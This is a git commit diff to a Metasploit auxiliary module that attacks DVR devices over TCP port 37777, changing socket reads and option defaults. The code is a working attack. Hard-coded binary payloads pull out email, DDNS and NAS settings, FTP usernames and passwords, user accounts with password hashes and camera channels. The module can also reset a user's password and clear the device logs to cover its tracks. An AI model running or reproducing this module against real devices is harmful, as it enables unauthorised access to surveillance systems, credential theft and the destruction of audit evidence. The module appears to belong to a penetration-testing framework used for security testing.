changed sock.get to sock.get_once and fixed booleans hopefully. Still cleaning things up but its getting closer

bug/bundler_fix
Tyler Bennett 2015-12-03 12:51:48 -05:00
parent a8887e6b77
commit 0d89dde4a6
1 changed files with 26 additions and 19 deletions

View File

@ -22,15 +22,15 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('USERNAME', [true, 'A username to reset', '888888']), OptString.new('USERNAME', [true, 'A username to reset', '888888']),
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']), OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']),
OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'TRUE']), OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'FALSE']),
OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'TRUE']), OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'FALSE']),
OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']), OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']),
OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']), OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']),
OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR','TRUE']), OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR', 'FALSE']),
OptBool.new('USER_INFO', ['false', 'Grabs the Users and hashes of the DVR', 'TRUE']), OptBool.new('USER_INFO', ['true', 'Grabs the Users and hashes of the DVR', 'TRUE']),
OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']), OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']),
OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']), OptBool.new('RESET', [false, %q(Reset an existing user's pw?), 'FALSE']),
OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']), OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), 'TRUE']),
Opt::RPORT(37777) Opt::RPORT(37777)
]) ])
end end
@ -38,24 +38,33 @@ class Metasploit3 < Msf::Auxiliary
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00" DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
# Payload to grab version of the DVR
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab Email Settings of the DVR
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab DDNS Settings of the DVR
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab NAS Settings of the DVR
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Channels that each camera is assigned to on the DVR
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users Groups of the DVR
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users and their hashes from the DVR
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Serial Number of the DVR
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to clear the logs of the DVR
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
@ -69,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_version def grab_version
connect connect
sock.put(VERSION) sock.put(VERSION)
data = sock.get(1024) data = sock.get_once
if data =~ /[\x00]{8,}([[:print:]]+)/ if data =~ /[\x00]{8,}([[:print:]]+)/
ver = Regexp.last_match[1] ver = Regexp.last_match[1]
print_status("Version: #{ver} @ #{rhost}:#{rport}!") print_status("Version: #{ver} @ #{rhost}:#{rport}!")
@ -78,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_sn def grab_sn
sock.put(SN) sock.put(SN)
data = sock.get(1024) data = sock.get_once
if data =~ /[\x00]{8,}([[:print:]]+)/ if data =~ /[\x00]{8,}([[:print:]]+)/
serial = Regexp.last_match[1] serial = Regexp.last_match[1]
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
@ -88,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_email def grab_email
connect connect
sock.put(EMAIL) sock.put(EMAIL)
if data = sock.get(1024).split('&&') if data = sock.get_once.split('&&')
print_status("Email Settings: @ #{rhost}:#{rport}!") print_status("Email Settings: @ #{rhost}:#{rport}!")
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
if mailhost = Regexp.last_match[1].split(':') if mailhost = Regexp.last_match[1].split(':')
@ -113,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_ddns def grab_ddns
connect connect
sock.put(DDNS) sock.put(DDNS)
if data = sock.get(1024) if data = sock.get_once
data = data.split(/&&[0-1]&&/) data = data.split(/&&[0-1]&&/)
data.each_with_index do |val, index| data.each_with_index do |val, index|
if index > 0 if index > 0
@ -142,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_nas def grab_nas
connect connect
sock.put(NAS) sock.put(NAS)
if data = sock.get(1024) if data = sock.get_once
print_status("Nas Settings @ #{rhost}:#{rport}!:") print_status("Nas Settings @ #{rhost}:#{rport}!:")
server = '' server = ''
port = '' port = ''
@ -152,9 +161,7 @@ class Metasploit3 < Msf::Auxiliary
print_status(" Nas Server #{server}") print_status(" Nas Server #{server}")
print_status(" Nas Port: #{port}") print_status(" Nas Port: #{port}")
end end
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ if data =~ /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/
ftpuser = Regexp.last_match[1]
ftppass = Regexp.last_match[2]
print_good(" FTP User: #{ftpuser}") print_good(" FTP User: #{ftpuser}")
print_good(" FTP Password: #{ftppass}") print_good(" FTP Password: #{ftppass}")
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
@ -173,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_channels def grab_channels
connect connect
sock.put(CHANNELS) sock.put(CHANNELS)
data = sock.get(1024).split('&&') data = sock.get_once.split('&&')
disconnect disconnect
if data.length > 1 if data.length > 1
print_status("Camera Channels @ #{rhost}:#{rport}!:") print_status("Camera Channels @ #{rhost}:#{rport}!:")
@ -185,7 +192,7 @@ class Metasploit3 < Msf::Auxiliary
usercount = 0 usercount = 0
connect connect
sock.put(USERS) sock.put(USERS)
if data = sock.get(1024).split('&&') if data = sock.get_once.split('&&')
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
data.each do |val| data.each do |val|
usercount += 1 usercount += 1
@ -214,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary
def grab_groups def grab_groups
connect connect
sock.put(GROUPS) sock.put(GROUPS)
if data = sock.get(1024).split('&&') if data = sock.get_once.split('&&')
print_status("User Groups: @ #{rhost}:#{rport}!") print_status("User Groups: @ #{rhost}:#{rport}!")
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
end end
@ -231,9 +238,9 @@ class Metasploit3 < Msf::Auxiliary
sock.put(u1) sock.put(u1)
sock.put(u2) sock.put(u2)
sock.put(u3) sock.put(u3)
data = sock.get(1024) data = sock.get_once
sock.put(u1) sock.put(u1)
if data = sock.get(1024) if data = sock.get_once
print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!")
end end
end end